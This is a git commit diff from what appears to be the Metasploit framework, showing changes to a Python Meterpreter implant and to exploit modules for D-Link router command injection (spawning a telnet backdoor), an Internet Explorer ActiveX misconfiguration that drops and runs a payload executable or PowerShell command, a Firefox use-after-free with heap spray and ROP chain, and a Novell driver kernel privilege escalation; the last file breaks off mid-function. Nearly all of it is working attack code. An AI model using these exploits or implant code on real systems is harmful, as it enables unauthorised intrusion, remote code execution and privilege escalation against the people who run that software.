Update from master

bug/bundler_fix
Tab Assassin 2013-09-03 11:45:39 -05:00
commit 0c1e6546af
8 changed files with 760 additions and 784 deletions

View File

@ -303,6 +303,7 @@ def channel_create_stdapi_fs_file(request, response):
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
if fmode:
fmode = fmode['value']
fmode = fmode.replace('bb', 'b')
else:
fmode = 'rb'
file_h = open(fpath, fmode)
@ -320,6 +321,7 @@ def channel_create_stdapi_net_tcp_client(request, response):
connected = False
for i in range(retries + 1):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3.0)
if local_host.get('value') and local_port.get('value'):
sock.bind((local_host['value'], local_port['value']))
try:
@ -380,7 +382,7 @@ def stdapi_sys_process_execute(request, response):
if len(cmd) == 0:
return ERROR_FAILURE, response
if os.path.isfile('/bin/sh'):
args = ['/bin/sh', '-c', cmd, raw_args]
args = ['/bin/sh', '-c', cmd + ' ' + raw_args]
else:
args = [cmd]
args.extend(shlex.split(raw_args))

View File

@ -404,5 +404,7 @@ class PythonMeterpreter(object):
return resp
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
if hasattr(os, 'setsid'):
os.setsid()
met = PythonMeterpreter(s)
met.run()

View File

@ -8,155 +8,146 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::CommandShell
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
'Description' => %q{
Different D-Link Routers are vulnerable to OS command injection via the web
interface. The vulnerability exists in command.php, which is accessible without
authentication. This module has been tested with the versions DIR-600 2.14b01,
DIR-300 rev B 2.13. Two target are included, the first one starts a telnetd service
and establish a session over it, the second one runs commands via the CMD target.
There is no wget or tftp client to upload an elf backdoor easily. According to the
vulnerability discoverer, more D-Link devices may affected.
},
'Author' =>
[
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '89861' ],
[ 'EDB', '24453' ],
[ 'BID', '57734' ],
[ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
],
'DisclosureDate' => 'Feb 04 2013',
'Privileged' => true,
'Platform' => ['linux','unix'],
'Payload' =>
{
'DisableNops' => true,
},
'Targets' =>
[
[ 'CMD', #all devices
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Telnet', #all devices - default target
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
],
'DefaultTarget' => 1
))
end
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
'Description' => %q{
Different D-Link Routers are vulnerable to OS command injection via the web
interface. The vulnerability exists in command.php, which is accessible without
authentication. This module has been tested with the versions DIR-600 2.14b01,
DIR-300 rev B 2.13.
},
'Author' =>
[
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '89861' ],
[ 'EDB', '24453' ],
[ 'BID', '57734' ],
[ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
],
'DisclosureDate' => 'Feb 04 2013',
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'Targets' =>
[
[ 'Automatic', { } ]
],
'DefaultTarget' => 0
))
def exploit
if target.name =~ /CMD/
exploit_cmd
else
exploit_telnet
end
end
register_advanced_options(
[
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]),
OptInt.new('SessionTimeout', [ true, 'The number of seconds to wait before building the session on the telnet connection', 10])
], self.class)
def exploit_cmd
if not (datastore['CMD'])
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
cmd = "#{payload.encoded}; echo end"
print_status("#{rhost}:#{rport} - Sending exploit request...")
res = request(cmd)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
end
if res.body.include?("end")
print_good("#{rhost}:#{rport} - Exploited successfully\n")
vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
vprint_line("#{rhost}:#{rport} - Output: #{res.body}")
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
def tel_timeout
(datastore['TelnetTimeout'] || 10).to_i
end
return
end
def banner_timeout
(datastore['TelnetBannerTimeout'] || 25).to_i
end
def exploit_telnet
telnetport = rand(65535)
def session_timeout
(datastore['SessionTimeout'] || 10).to_i
end
print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")
def exploit
telnetport = rand(65535)
cmd = "telnetd -p #{telnetport}"
print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")
#starting the telnetd gives no response
print_status("#{rhost}:#{rport} - Sending exploit request...")
request(cmd)
cmd = "telnetd -p #{telnetport}"
begin
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
#starting the telnetd gives no response
print_status("#{rhost}:#{rport} - Sending exploit request...")
request(cmd)
if sock
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
add_socket(sock)
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
auth_info = {
:host => rhost,
:port => telnetport,
:sname => 'telnet',
:user => "",
:pass => "",
:source_type => "exploit",
:active => true
}
report_auth_info(auth_info)
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
'USERNAME' => nil,
'PASSWORD' => nil
}
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
rescue
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
end
return
end
if sock.nil?
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
def request(cmd)
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?
sock.close
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
else
print_good("#{rhost}:#{rport} - Telnet session successfully established... trying to connect")
end
uri = '/command.php'
print_status("#{rhost}:#{rport} - Trying to create the Msf session...")
begin
Timeout.timeout(session_timeout) do
activated = handler(sock)
while(activated !~ /claimed/)
activated = handler(sock)
end
end
rescue ::Timeout::Error
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a Msf session")
end
end
def request(cmd)
uri = '/command.php'
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'vars_post' => {
"cmd" => cmd
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
def negotiate_telnet(sock)
begin
Timeout.timeout(banner_timeout) do
while(true)
data = sock.get_once(-1, tel_timeout)
return nil if not data or data.length == 0
if data =~ /\x23\x20$/
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'vars_post' => {
"cmd" => cmd
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
end

View File

@ -6,125 +6,102 @@
##
require 'msf/core'
require 'msf/util/exe'
require 'msf/core/exploit/powershell'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer Unsafe Scripting Misconfiguration',
'Description' => %q{
This exploit takes advantage of the "Initialize and script ActiveX controls not
marked safe for scripting" setting within Internet Explorer. When this option is set,
IE allows access to the WScript.Shell ActiveX control, which allows javascript to
interact with the file system and run commands. This security flaw is not uncommon
in corporate environments for the 'Intranet' or 'Trusted Site' zones. In order to
save binary data to the file system, ADODB.Stream access is required, which in IE7
will trigger a cross domain access violation. As such, we write the code to a .vbs
file and execute it from there, where no such restrictions exist.
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer Unsafe Scripting Misconfiguration',
'Description' => %q{
This exploit takes advantage of the "Initialize and script ActiveX controls not
marked safe for scripting" setting within Internet Explorer. When this option is set,
IE allows access to the WScript.Shell ActiveX control, which allows javascript to
interact with the file system and run commands. This security flaw is not uncommon
in corporate environments for the 'Intranet' or 'Trusted Site' zones.
When set via domain policy, the most common registry entry to modify is HKLM\
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
which if set to '0' forces ActiveX controls not marked safe for scripting to be
enabled for the Intranet zone.
When set via domain policy, the most common registry entry to modify is HKLM\
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
which if set to '0' forces ActiveX controls not marked safe for scripting to be
enabled for the Intranet zone.
This module creates a javascript/html hybrid that will render correctly either
via a direct GET http://msf-server/ or as a javascript include, such as in:
http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>
</script>.
},
'License' => MSF_LICENSE,
'Author' =>
[
'natron'
],
'References' =>
[
[ 'URL', 'http://support.microsoft.com/kb/182569' ],
[ 'URL', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ],
],
'DisclosureDate' => 'Sep 20 2010',
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultOptions' =>
{
'HTTP::compression' => 'gzip'
},
'DefaultTarget' => 0))
end
This module creates a javascript/html hybrid that will render correctly either
via a direct GET http://msf-server/ or as a javascript include, such as in:
http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>
</script>.
def on_request_uri(cli, request)
IE Tabs, WScript and subsequent Powershell prompts all run as x86 even when run from
an x64 iexplore.exe.
},
#print_status("Starting...");
# Build out the HTML response page
var_shellobj = rand_text_alpha(rand(5)+5);
var_fsobj = rand_text_alpha(rand(5)+5);
var_fsobj_file = rand_text_alpha(rand(5)+5);
var_vbsname = rand_text_alpha(rand(5)+5);
var_writedir = rand_text_alpha(rand(5)+5);
var_exename = rand_text_alpha(rand(5)+5);
var_origLoc = rand_text_alpha(rand(5)+5);
var_byteArray = rand_text_alpha(rand(5)+5);
var_stream = rand_text_alpha(rand(5)+5);
var_writestream = rand_text_alpha(rand(5)+5);
var_strmConv = rand_text_alpha(rand(5)+5);
'License' => MSF_LICENSE,
'Author' =>
[
'natron',
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # PSH and remove ADODB.Stream
],
'References' =>
[
[ 'URL', 'http://support.microsoft.com/kb/182569' ],
[ 'URL', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ],
[ 'URL', 'http://support.microsoft.com/kb/870669']
],
'DisclosureDate' => 'Sep 20 2010',
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x86/x64', { 'Arch' => ARCH_X86 } ]
],
'DefaultOptions' =>
{
'HTTP::compression' => 'gzip'
},
'DefaultTarget' => 0))
p = regenerate_payload(cli);
print_status("Request received for #{request.uri}");
exe = generate_payload_exe({ :code => p.encoded })
#print_status("Building vbs file...");
# Build the content that will end up in the .vbs file
vbs_content = Rex::Text.to_hex(%Q|Dim #{var_origLoc}, s, #{var_byteArray}
#{var_origLoc} = SetLocale(1033)
|)
register_options(
[
OptEnum.new('TECHNIQUE', [true, 'Delivery technique (VBS Exe Drop or PSH CMD)', 'VBS', ['VBS','Powershell']]),
], self.class
)
end
print_status("Encoding payload into vbs/javascript/html...");
# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
# for conversion with ADODB.Stream
def on_request_uri(cli, request)
vbs_ary = []
# The output of this loop needs to be as small as possible since it
# gets repeated for every byte of the executable, ballooning it by a
# factor of about 80k (the current size of the exe template). In its
# current form, it's down to about 4MB on the wire
exe.each_byte do |b|
vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
end
vbs_content << vbs_ary.join("")
# Build out the HTML response page
var_shellobj = rand_text_alpha(rand(5)+5)
# Continue with the rest of the vbs file;
# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
# Then use ADODB.Stream again to write the binary to file.
#print_status("Finishing vbs...");
vbs_content << Rex::Text.to_hex(%Q|
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{var_exename}.exe"
p = regenerate_payload(cli)
if datastore['TECHNIQUE'] == 'VBS'
js_content = vbs_technique(var_shellobj, p)
else
js_content = psh_technique(var_shellobj, p)
end
Set #{var_strmConv} = CreateObject("ADODB.Stream")
print_status("Request received for #{request.uri}")
print_status("Sending exploit html/javascript");
#{var_strmConv}.Type = 2
#{var_strmConv}.Charset = "x-ansi"
#{var_strmConv}.Open
#{var_strmConv}.WriteText s, 0
#{var_strmConv}.Position = 0
#{var_strmConv}.Type = 1
#{var_strmConv}.SaveToFile #{var_writedir}, 2
# Transmit the response to the client
send_response(cli, js_content, { 'Content-Type' => 'text/html' })
SetLocale(#{var_origLoc})|)
# Handle the payload
handler(cli)
end
# Encode the vbs_content
#print_status("Hex encoded vbs_content: #{vbs_content}");
def vbs_technique(var_shellobj, p)
var_fsobj = rand_text_alpha(rand(5)+5)
var_fsobj_file = rand_text_alpha(rand(5)+5)
var_vbsname = rand_text_alpha(rand(5)+5)
var_writedir = rand_text_alpha(rand(5)+5)
exe = generate_payload_exe({ :code => p.encoded })
vbs = Msf::Util::EXE.to_exe_vbs(exe)
vbs_content = Rex::Text.to_hex(vbs)
# Build the javascript that will be served
js_content = %Q|
@ -138,18 +115,21 @@ var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{
#{var_fsobj_file}.Close();
#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{var_exename}.exe", 0, false);
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
//</script></html>
|
return js_content
end
print_status("Sending exploit html/javascript");
print_status("Exe will be #{var_exename}.exe and must be manually removed from the %TEMP% directory on the target.");
def psh_technique(var_shellobj, p)
cmd = Rex::Text.to_hex(cmd_psh_payload(p.encoded))
js_content = %Q|
//<html><head></head><body><script>
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
#{var_shellobj}.run(unescape("#{cmd}"), 1, true);
//</script></html>
|
# Transmit the response to the client
send_response(cli, js_content, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
return js_content
end
end

View File

@ -9,113 +9,113 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox XMLSerializer Use After Free',
'Description' => %q{
This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically
an use after free of an Element object, when using the serializeToStream method
with a specially crafted OutputStream defining its own write function. This module
has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP
SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'regenrecht', # Vulnerability Discovery, Analysis and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0753' ],
[ 'OSVDB', '89021'],
[ 'BID', '57209'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ],
[ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ],
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependMigrate' => true
},
'Payload' =>
{
'BadChars' => "\x00",
'DisableNops' => true,
'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits
},
'Platform' => 'win',
'Targets' =>
[
[ 'Firefox 17 / Windows XP SP3',
{
'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory
'RetGadget' => 0x77c3ee16, # ret from msvcrt
'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt
'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt
}
]
],
'DisclosureDate' => 'Jan 08 2013',
'DefaultTarget' => 0))
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox XMLSerializer Use After Free',
'Description' => %q{
This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically
a use-after-free of an Element object, when using the serializeToStream method
with a specially crafted OutputStream defining its own write function. This module
has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP
SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'regenrecht', # Vulnerability Discovery, Analysis and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0753' ],
[ 'OSVDB', '89021'],
[ 'BID', '57209'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ],
[ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ],
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependMigrate' => true
},
'Payload' =>
{
'BadChars' => "\x00",
'DisableNops' => true,
'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits
},
'Platform' => 'win',
'Targets' =>
[
[ 'Firefox 17 / Windows XP SP3',
{
'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory
'RetGadget' => 0x77c3ee16, # ret from msvcrt
'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt
'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt
}
]
],
'DisclosureDate' => 'Jan 08 2013',
'DefaultTarget' => 0))
end
end
def stack_pivot
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
return pivot
end
def stack_pivot
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
return pivot
end
def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end
def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
vprint_status("Agent: #{agent}")
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
vprint_status("Agent: #{agent}")
if agent !~ /Windows NT 5\.1/
print_error("Windows XP not found, sending 404: #{agent}")
send_not_found(cli)
return
end
if agent !~ /Windows NT 5\.1/
print_error("Windows XP not found, sending 404: #{agent}")
send_not_found(cli)
return
end
unless agent =~ /Firefox\/17/
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
unless agent =~ /Firefox\/17/
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
# Fake object landed on 0x0c101008 if heap spray is working as expected
code = [
target['FakeVFTable'],
target['RetGadget'],
target['RetGadget'],
target['RetGadget'],
target['RetGadget'],
target['PopRetGadget'],
0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis
].pack("V*")
code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer)
code << [target['PopRetGadget']].pack("V") # pop # ret
code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret
code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
# Fake object landed on 0x0c101008 if heap spray is working as expected
code = [
target['FakeVFTable'],
target['RetGadget'],
target['RetGadget'],
target['RetGadget'],
target['RetGadget'],
target['PopRetGadget'],
0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis
].pack("V*")
code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer)
code << [target['PopRetGadget']].pack("V") # pop # ret
code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret
code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch))
js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch))
content = <<-HTML
content = <<-HTML
<html>
<script>
var heap_chunks;

View File

@ -12,302 +12,303 @@ require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/process'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
Rank = AverageRanking
include Msf::Post::Common
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Common
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
def initialize(info={})
super(update_info(info, {
'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation',
'Description' => %q{
This module exploits a flaw in the nicm.sys driver to execute arbitrary code in
kernel space. The vulnerability occurs while handling ioctl requests with code
0x143B6B, where a user provided pointer is used as function pointer. The module
has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez' # MSF module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
# Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows
# as installed with Novell Client 2 SP3 for Windows 7
[ 'Automatic', { } ],
[ 'Windows 7 SP1',
{
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
'_KPROCESS' => "\x50", # Offset to _KPROCESS from a _ETHREAD struct
'_TOKEN' => "\xf8", # Offset to TOKEN from the _EPROCESS struct
'_UPID' => "\xb4", # Offset to UniqueProcessId FROM the _EPROCESS struct
'_APLINKS' => "\xb8" # Offset to ActiveProcessLinks _EPROCESS struct
}
]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'OSVDB', '93718' ],
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ],
[ 'URL', 'http://pastebin.com/GB4iiEwR' ]
],
'DisclosureDate' => 'May 22 2013',
'DefaultTarget' => 0
}))
def initialize(info={})
super(update_info(info, {
'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation',
'Description' => %q{
This module exploits a flaw in the nicm.sys driver to execute arbitrary code in
kernel space. The vulnerability occurs while handling ioctl requests with code
0x143B6B, where a user provided pointer is used as function pointer. The module
has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez' # MSF module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
# Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows
# as installed with Novell Client 2 SP3 for Windows 7
[ 'Automatic', { } ],
[ 'Windows 7 SP1',
{
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
'_KPROCESS' => "\x50", # Offset to _KPROCESS from a _ETHREAD struct
'_TOKEN' => "\xf8", # Offset to TOKEN from the _EPROCESS struct
'_UPID' => "\xb4", # Offset to UniqueProcessId FROM the _EPROCESS struct
'_APLINKS' => "\xb8" # Offset to ActiveProcessLinks _EPROCESS struct
}
]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'CVE', '2013-3956' ],
[ 'OSVDB', '93718' ],
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ],
[ 'URL', 'http://pastebin.com/GB4iiEwR' ]
],
'DisclosureDate' => 'May 22 2013',
'DefaultTarget' => 0
}))
end
end
def add_railgun_functions
session.railgun.add_function(
'ntdll',
'NtAllocateVirtualMemory',
'DWORD',
[
["DWORD", "ProcessHandle", "in"],
["PBLOB", "BaseAddress", "inout"],
["PDWORD", "ZeroBits", "in"],
["PBLOB", "RegionSize", "inout"],
["DWORD", "AllocationType", "in"],
["DWORD", "Protect", "in"]
])
def add_railgun_functions
session.railgun.add_function(
'ntdll',
'NtAllocateVirtualMemory',
'DWORD',
[
["DWORD", "ProcessHandle", "in"],
["PBLOB", "BaseAddress", "inout"],
["PDWORD", "ZeroBits", "in"],
["PBLOB", "RegionSize", "inout"],
["DWORD", "AllocationType", "in"],
["DWORD", "Protect", "in"]
])
session.railgun.add_function(
'ntdll',
'NtDeviceIoControlFile',
'DWORD',
[
[ "DWORD", "FileHandle", "in" ],
[ "DWORD", "Event", "in" ],
[ "DWORD", "ApcRoutine", "in" ],
[ "DWORD", "ApcContext", "in" ],
[ "PDWORD", "IoStatusBlock", "out" ],
[ "DWORD", "IoControlCode", "in" ],
[ "LPVOID", "InputBuffer", "in" ],
[ "DWORD", "InputBufferLength", "in" ],
[ "LPVOID", "OutputBuffer", "in" ],
[ "DWORD", "OutPutBufferLength", "in" ]
])
session.railgun.add_function(
'ntdll',
'NtDeviceIoControlFile',
'DWORD',
[
[ "DWORD", "FileHandle", "in" ],
[ "DWORD", "Event", "in" ],
[ "DWORD", "ApcRoutine", "in" ],
[ "DWORD", "ApcContext", "in" ],
[ "PDWORD", "IoStatusBlock", "out" ],
[ "DWORD", "IoControlCode", "in" ],
[ "LPVOID", "InputBuffer", "in" ],
[ "DWORD", "InputBufferLength", "in" ],
[ "LPVOID", "OutputBuffer", "in" ],
[ "DWORD", "OutPutBufferLength", "in" ]
])
session.railgun.add_function(
'ntdll',
'NtQueryIntervalProfile',
'DWORD',
[
[ "DWORD", "ProfileSource", "in" ],
[ "PDWORD", "Interval", "out" ]
])
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function(
'psapi',
'EnumDeviceDrivers',
'BOOL',
[
["PBLOB", "lpImageBase", "out"],
["DWORD", "cb", "in"],
["PDWORD", "lpcbNeeded", "out"]
])
session.railgun.add_function(
'psapi',
'GetDeviceDriverBaseNameA',
'DWORD',
[
["LPVOID", "ImageBase", "in"],
["PBLOB", "lpBaseName", "out"],
["DWORD", "nSize", "in"]
])
end
session.railgun.add_function(
'ntdll',
'NtQueryIntervalProfile',
'DWORD',
[
[ "DWORD", "ProfileSource", "in" ],
[ "PDWORD", "Interval", "out" ]
])
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function(
'psapi',
'EnumDeviceDrivers',
'BOOL',
[
["PBLOB", "lpImageBase", "out"],
["DWORD", "cb", "in"],
["PDWORD", "lpcbNeeded", "out"]
])
session.railgun.add_function(
'psapi',
'GetDeviceDriverBaseNameA',
'DWORD',
[
["LPVOID", "ImageBase", "in"],
["PBLOB", "lpBaseName", "out"],
["DWORD", "nSize", "in"]
])
end
def open_device(dev)
def open_device(dev)
invalid_handle_value = 0xFFFFFFFF
invalid_handle_value = 0xFFFFFFFF
r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
